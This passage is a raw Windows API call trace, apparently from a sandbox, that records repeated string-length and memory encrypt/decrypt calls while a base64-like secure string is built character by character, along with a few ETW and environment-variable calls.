(param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\xaa39\x6719\x5e94\xac30\x3ae9\x928f\x2843\x1e7b") returned 0x20 [0128.657] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\xaa39\x6719\x5e94\xac30\x3ae9\x928f\x2843\x1e7b") returned 0x20 [0128.657] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.657] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O뿂濆늰좫") returned 0x20 [0128.657] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.657] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x1776\x904c\x6297\x3d1c\xf488\x5b16\xb5a\x1ece") returned 0x20 [0128.657] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x1776\x904c\x6297\x3d1c\xf488\x5b16\xb5a\x1ece") returned 0x20 [0128.657] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.657] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5濆늰좫") returned 0x20 [0128.657] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.657] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\xae78\xef56\xa54c\xd11a\x1634\xa068\xbf6d\xfa55") returned 0x20 [0128.657] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\xae78\xef56\xa54c\xd11a\x1634\xa068\xbf6d\xfa55") returned 0x20 [0128.658] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.658] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5C늰좫") returned 0x20 [0128.658] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.658] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\xb845\x64b3\x6f09\xb130\xce5b\x1877\x2a9a\xf463") returned 0x20 [0128.658] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\xb845\x64b3\x6f09\xb130\xce5b\x1877\x2a9a\xf463") returned 0x20 [0128.658] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.658] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CY늰좫") returned 0x20 [0128.658] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.658] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\xea76\x687f\xaa12\x6b11\xf4a5\x785f\x4a23\xfc06") returned 0x20 [0128.658] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\xea76\x687f\xaa12\x6b11\xf4a5\x785f\x4a23\xfc06") returned 0x20 [0128.658] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.658] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYK좫") returned 0x20 [0128.658] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.658] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x3ef6\x4091\x766d\xc050\x4ab2\x40bd\xe831\xdeda") returned 0x20 [0128.658] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x3ef6\x4091\x766d\xc050\x4ab2\x40bd\xe831\xdeda") returned 0x20 [0128.658] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.659] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKk") returned 0x20 [0128.659] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.659] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185") returned 0x20 [0128.659] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185") returned 0x20 [0128.659] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185") returned 0x20 [0128.659] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185") returned 0x28 [0128.659] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.659] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKkA쒄햧㋴סꨰᅖ") returned 0x28 [0128.659] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.659] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xe4d3\x780a\xa33f\x9a87\x9685\x9d43\xe4bc\xf6df") returned 0x28 [0128.659] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xe4d3\x780a\xa33f\x9a87\x9685\x9d43\xe4bc\xf6df") returned 0x28 [0128.659] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.659] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKkAU햧㋴סꨰᅖ") returned 0x28 [0128.659] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.659] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\x994f\xed74\x245d\x23ce\x9eb0\xa6f3\x71f6\x4bc0") returned 0x28 [0128.659] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\x994f\xed74\x245d\x23ce\x9eb0\xa6f3\x71f6\x4bc0") returned 0x28 [0128.659] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.660] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKkAUl㋴סꨰᅖ") returned 0x28 [0128.660] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.661] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xa374\xfa6a\x800\xd3d1\xcbff\xddc1\x1922\xb878") returned 0x28 [0128.661] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xa374\xfa6a\x800\xd3d1\xcbff\xddc1\x1922\xb878") returned 0x28 [0128.661] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.661] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKkAUlTסꨰᅖ") returned 0x28 [0128.661] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.661] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xda2\xf3f\x7794\x6016\x60ca\x26a5\xd9bd\x9ff1") returned 0x28 [0128.661] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xda2\xf3f\x7794\x6016\x60ca\x26a5\xd9bd\x9ff1") returned 0x28 [0128.661] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.661] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKkAUlTVꨰᅖ") returned 0x28 [0128.661] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.661] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\x97ca\x3667\x22a\x909d\x7182\xb11\xd818\x872a") returned 0x28 [0128.661] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\x97ca\x3667\x22a\x909d\x7182\xb11\xd818\x872a") returned 0x28 [0128.661] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.662] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKkAUlTVcꨰᅖ") returned 0x28 [0128.662] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.662] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xd1ba\xe684\x5c9f\x5a74\x6dad\x91f0\x1ae8\xb04f") returned 0x28 [0128.662] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xd1ba\xe684\x5c9f\x5a74\x6dad\x91f0\x1ae8\xb04f") returned 0x28 [0128.662] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.662] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKkAUlTVc+ᅖ") returned 0x28 [0128.662] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.662] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\x9939\xd4c4\x6410\x5113\x8fa4\xfe97\x87e3\x6109") returned 0x28 [0128.662] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\x9939\xd4c4\x6410\x5113\x8fa4\xfe97\x87e3\x6109") returned 0x28 [0128.662] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.662] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKkAUlTVc+N") returned 0x28 [0128.662] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.662] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xca1d\xab\x8ac1\x82b3\x179e\xa410\x1615\x93ed") returned 0x28 [0128.662] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xca1d\xab\x8ac1\x82b3\x179e\xa410\x1615\x93ed") returned 0x28 [0128.662] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xca1d\xab\x8ac1\x82b3\x179e\xa410\x1615\x93ed") returned 0x28 [0128.663] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xca1d\xab\x8ac1\x82b3\x179e\xa410\x1615\x93ed\x4f\x77\x51\x51\x36\x33\x58\x50") returned 0x30 [0128.663] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0128.663] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKkAUlTVc+Np⇺氺ꊙ䤶恠␷") returned 0x30 [0128.663] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0128.663] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xca1d\xab\x8ac1\x82b3\x179e\xa410\x1615\x93ed\xbf05\xd859\x4769\xa920\xd840\xe2d4\xa282\xff87") returned 0x30 [0128.663] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xca1d\xab\x8ac1\x82b3\x179e\xa410\x1615\x93ed\xbf05\xd859\x4769\xa920\xd840\xe2d4\xa282\xff87") returned 0x30 [0128.663] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0128.663] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKkAUlTVc+Np7氺ꊙ䤶恠␷") returned 0x30 [0128.663] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0128.663] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xca1d\xab\x8ac1\x82b3\x179e\xa410\x1615\x93ed\xd878\x707c\x81f0\x2a60\x97e3\xf92e\xbf0\xad46") returned 0x30 [0128.663] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xca1d\xab\x8ac1\x82b3\x179e\xa410\x1615\x93ed\xd878\x707c\x81f0\x2a60\x97e3\xf92e\xbf0\xad46") returned 0x30 [0128.663] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0128.663] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKkAUlTVc+Np7Mꊙ䤶恠␷") returned 0x30 [0128.663] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0128.663] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xca1d\xab\x8ac1\x82b3\x179e\xa410\x1615\x93ed\xa334\xfe95\xb64\xcef7\xce25\x62fa\xdc28\x8fcd") returned 0x30 [0128.663] SysStringLen (param_1="\xf4f6\xbc1e\xc47f\xd336\xfa43\x78b\xec67\x852a\xbc3c\x7b0a\xa91e\x7ddb\x907d\x7d87\x325d\x3b0e\x912f\x2135\x5ae2\xbec4\xab06\xc887\xf74b\xf878\x9cfb\xc4ae\xa6ef\x33f2\xc121\xe51c\xefcb\x2185\xca1d\xab\x8ac1\x82b3\x179e\xa410\x1615\x93ed\xa334\xfe95\xb64\xcef7\xce25\x62fa\xdc28\x8fcd") returned 0x30 [0128.663] SystemFunction041 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0128.664] SysStringLen (param_1="UwyMNkSUtgpWpzd2+skP66Fiv/O5CYKkAUlTVc+Np7M=䤶恠␷") returned 0x30 [0128.664] SystemFunction040 (in: Memory=0x8e30cec, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30cec) returned 0x0 [0128.664] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.664] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.664] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.664] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5fc, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0128.664] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9d4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.665] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae934*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae934*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.665] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.665] SysStringLen (param_1="") returned 0x8 [0128.665] SysStringLen (param_1="Y") returned 0x8 [0128.665] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.665] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.665] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0128.665] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.665] SysStringLen (param_1="YW") returned 0x8 [0128.665] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.666] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.666] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0128.666] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.666] SysStringLen (param_1="YWM") returned 0x8 [0128.666] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.666] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.666] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0128.666] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.666] SysStringLen (param_1="YWM1") returned 0x8 [0128.666] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.666] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.666] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0128.666] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.666] 